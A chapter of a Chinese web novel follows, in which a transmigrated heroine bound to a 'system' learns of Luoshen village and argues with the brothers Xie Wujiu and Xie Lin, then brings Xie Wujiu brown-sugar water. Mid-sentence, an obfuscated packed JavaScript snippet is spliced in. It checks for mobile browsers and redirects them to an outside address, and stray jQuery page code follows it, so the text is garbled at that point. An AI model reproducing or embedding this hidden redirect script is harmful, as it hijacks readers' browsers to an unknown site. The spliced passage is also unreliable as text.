一行人在村子里又停留了几天。
连翘揉着酸痛的肩膀,在心里把谢无咎骂了个狗血淋头。
现代社会献血一次最多400cc,这家伙倒好,一天之内先是被刺破肩膀,又割手腕放血布阵,少说也得有1500cc。
要不是她大发慈悲塞了几颗回春丹,这厮可不是短暂地歇上两天就能好起来的。
偏偏真正的伤员毫无身为一个伤患的自觉,每天东奔西窜不知在忙些什么。
这可就连累了与他共享痛觉的连翘,她每天醒来都浑身难受、有气无力,叶望舒还以为她是睡不惯硬床板,连翘真是有口难言。
少女颇为无奈,打算从根源解决问题。她拍了拍脸颊振作精神,准备去找村民借点红糖给那个不知死活的家伙补补血。
刚走到村子废墟,她就听见几个村民蹲在晒谷场边小声嘀咕。
"等二白从落神村回来,问问他有什么办法没有吧。"一个老汉叼着旱烟,"天灾人祸,世事无常,我们总要有房子住才行啊。"
"可不敢去!"旁边的大婶直摆手,"那个落神村不是邪性得很吗?"
连翘耳朵立刻竖了起来。她猫着腰凑近几步,假装整理裙摆。
"那都是无能的修士以讹传讹,二白之前断了腿,不就是落神村的村长将他医好的么?"
老汉压低声音。
"要我说,这村长神通广大,乐于助人,是个不折不扣的好人呢!"
系统提示音悄然响起:
【任务二,阶段二任务即将开启】
【新线索触发,落神村与二白】
连翘"咔嚓"踩碎一根掉在地上的枯枝。村民们闻声回头,她赶紧挤出个笑脸:"这位阿叔,您说的落神村…是不是湖对面山脚下那个?"
老汉警惕地打量她:"姑娘问这做甚?"
"哎呀,我有个远房表姐嫁到那儿了。"连翘信口胡诌,脑筋转得飞快,"叫……叫百里湘,您听说过吗?"
村民们面面相觑。大婶突然一拍大腿:"这名字听起来倒确实有些耳熟……"
话没说完就被老汉拽住衣袖。连翘正要追问,身后突然传来谢无咎的声音:"喂!"
她回头,看见少年抱臂倚在磨盘边,脸色仍有些苍白,眼神却清明锐利。他指尖挂着她的珍珠绣鞋,在晨光里一晃一晃:"你的二百五。"
连翘:“?”
连翘:“你才二百五。”
她小跑过去,决定大事当前先不和他计较这些,压低声音:"你听见没?落神村..."
"嗯。"谢无咎把鞋塞给她,目光扫过满面愁容的村民,"二白是谁?"
老汉颇为谨慎地说:"就、就村里一个后生..."
"什么时候回来?"谢无咎问得随意,面上笑意盈盈,手指却无意识摩挲着腰间的银铃。
大婶歪着脑袋想了下,道:"按照往常惯例的话,应当得晌午了..."
连翘甜甜一笑:"那麻烦阿叔阿婶,到时候跟我们说一声呀~我们要去落神村寻我表姐,想同他打听一下呢。"
得了大叔大婶们热情洋溢的保证后,她拽着谢无咎往村口走,声音压得极低:
"听见没?百里湘果然在落神村!"
“听见了,”谢无咎任由她拉着,语气敷衍,“两只耳朵都听见了。”
两个人各怀心事地走出小半里路,连翘突然跺脚,懊恼道:
“都怪你,害我忘了正事儿。”
“你能有什么正事?”谢无咎狐疑地打量她。
“你什么意思啊?”连翘杏眼圆睁,双手叉腰,道,“我就不能有正事儿了?”
“比如?”谢无咎好整以暇地抱臂看她。
“当然是……”
连翘几乎要脱口而出,突然想到十个病娇白切黑里面八个半都是恋痛癖,受了伤从来不处理,但她可没有这个喜好,也遭不了这个罪。
于是她板起小脸,一本正经道:“抱歉,我这个人很严格的,要追我的话请靠自己的努力打听我的喜好与生活习惯,禁止直接询问我走捷径。”
谢无咎明显一噎,眉头皱得能夹死苍蝇:“你……”
他伸手就要探她额头:“是不是上次落水时脑袋进了太多水?”
但少女没有应答,只是冲他比了个中指,然后提着裙摆扭头朝来路跑去了。
半个时辰后,连翘端着熬好的红糖水来到谢无咎暂住的茅屋外。正要敲门,却听见里面传来谢凛冷峻的声音:
“你太冲动了。若是那姑娘没有及时赶到……”
“师兄是专程过来教训我的?”谢无咎的声音带着罕见的尖锐,“还是说想确认一下我是不是又给你丢脸了?”
“阿咎!”谢凛的声音陡然提高,“我是担心你!”
“担心?”谢无咎冷笑,“那抱歉了师兄,我真是一点儿都没听出来。今天我心情不太好,要是没什么事的话您就先请回吧。”
“吱呀”一声,门突然被推开。连翘端着碗站在门旁听墙角听得正欢,还来不及藏好身形,正撞上阴沉着脸出来的谢凛。
两人四目相对,空气一时凝固。
“谢大哥~”
连翘到现在都对系统当时给予的痛感处罚都感到心有余悸,见躲不过立马凑上前来,换上甜腻的声调。
“要喝红糖水吗?”
谢凛皱眉:“你是要给阿咎送去?”
“怎么?”连翘眨眨眼,“你吃醋啦?”
谢凛的眉头皱得更紧了:"姑娘家说话要庄重些。"
连翘闻言立刻收起笑容,挺直腰板:“谢大哥这话说的,说话还要分男女?难道男的就能满嘴粗鄙之语了?况且我也没说什么呀。”
她故意学着谢凛的语气:“男孩子说话要斯文些——”
谢凛一时语塞,突然发觉这姑娘看起来嬉皮笑脸,实际上思维敏捷,牙尖嘴利得很。
“我并非此意……”
“那是什么意思呢?”连翘乘胜追击,眼睛亮晶晶的,“莫非您觉得,女子天生就该低眉顺眼、轻声细语?作为姑娘,直白地表达爱慕就是粗俗浪荡不检点?”
男主之所以能成为男主,总得有些优点。谢凛知错能改,闻言抱拳郑重道:
“是在下失言了,只是姑娘的好意我无法回应,还请下次不要再打趣在下了。”
说罢,他似乎生怕她又说些什么,侧身绕过连翘,头也不回地走了。
不愧是洁身自好的冰山男主,拒绝得可真是够快的。
连翘吐了吐舌头,端着碗进屋,对上了谢无咎阴沉的脸色——好家伙,比起他师兄有过之而无不及。
“谁让你来的?”他冷冷道。
“嘿,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375252|168305||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脚长在本小姐身上,自然是我爱去哪就去哪。”
连翘把碗往桌子上一放。
“而且,人长嘴巴是用来喝药的,不是用来气人的。”
谢无咎盯着那碗冒着热气的红糖水,突然嗤笑一声:“我们才认识多长时间,你了解我吗,知道我是什么人吗,就敢不打招呼闯入我的房间,叫我喝下这碗看起来色泽诡异的东西。”
“什么话,什么话,哪里色泽诡异啦?”
连翘不允许有人贬低她辛辛苦苦熬出来的红糖水,若不是任务需要,没有任何一个男人值得她牺牲自己的闲暇时光下厨房。
“而且我还不了解你啊,谢无咎,”她掰着手指头数,“你和你师兄都是镇厄宗弟子,银铃不离身,是个笑面虎,你还咬了我一……”
“那你呢?”谢无咎突然打断她,“我该怎么称呼你?大小姐,我还不知道你的名字呢。”
“你可以叫我金主爸爸~”
连翘笑嘻嘻地凑近,在看到谢无咎黑沉沉的脸色后继续不知死活地摸着下巴思考。
“啊不对不对,我对‘爸’和‘爹’两个字过敏,你还是叫我富婆姐姐吧!”
屋内陷入长久的静默,唯有银铃在谢无咎指尖轻轻晃动,发出细碎的声响。连翘看着少年低垂的睫毛在眼下投下一片阴影,忽然觉得这场景莫名熟悉——就像她在系统资料里看到的,黑化时一个人坐在角落里的少年。
但系统还没有进行黑化度提示。
“谢无咎。”她放轻了声音,在他对面坐下来,“你觉得,一个人对另一个人好,一定需要理由吗?”
少年抬起眼,眼底带着未完全褪去的防备的锐利。
连翘不紧不慢地继续道:“就像现在,我端来这碗红糖水…”
她突然倾身向前,垂落的发梢扫过谢无咎的手背。
“有没有可能只是单纯觉得,受伤的人不应该每天跑来跑去,就应当喝点补血的东西?”
谢无咎的呼吸明显滞了一瞬。他下意识往后靠了靠,后腰顶上坚硬的床板:
“大小姐真是滥好心,对谁都这么体贴。”
“那要看是谁了。”连翘直起身,故意拖长声调,“比如你师兄,我就会送些花啊香囊啊什么的……毕竟那才能算上定情信物嘛!”
“至于你——”她突然正色,“你到底是希望我是因为共生蛊关心你,还是因为你这个人所以关心你呢?”
谢无咎神色一凛,意味不明地盯住她。
“如果我说是后者,”连翘继续道,“你肯定不相信。因为你觉得这个世界上不该有人不怀目的地对一个人好,即便这种好只是很细微的,就像富家小姐施舍一碗热粥给乞儿一样,她未必记得这碗粥,也从没指望那小乞儿能报答她。”
谢无咎的瞳孔微微收缩。
“是了,不是所有的小乞儿都能等到那碗热粥,不是所有求助都能得到回应,靠山山倒,靠人人跑,一个人最终要依靠的是自己。但这不意味着接受别人的好意,是什么软弱的、令人耻笑的行为呀。”
“不过,”连翘把碗往他面前推了推,“如果你觉得''共生蛊''这个理由更容易接受,那就这么想吧。或者,再来一个强有力的理由,我是为了报答你帮我找回了二百五十两。”
她晃了两下脚上的珍珠履,歪头笑了笑:“这样…是不是会让你好接受一些?”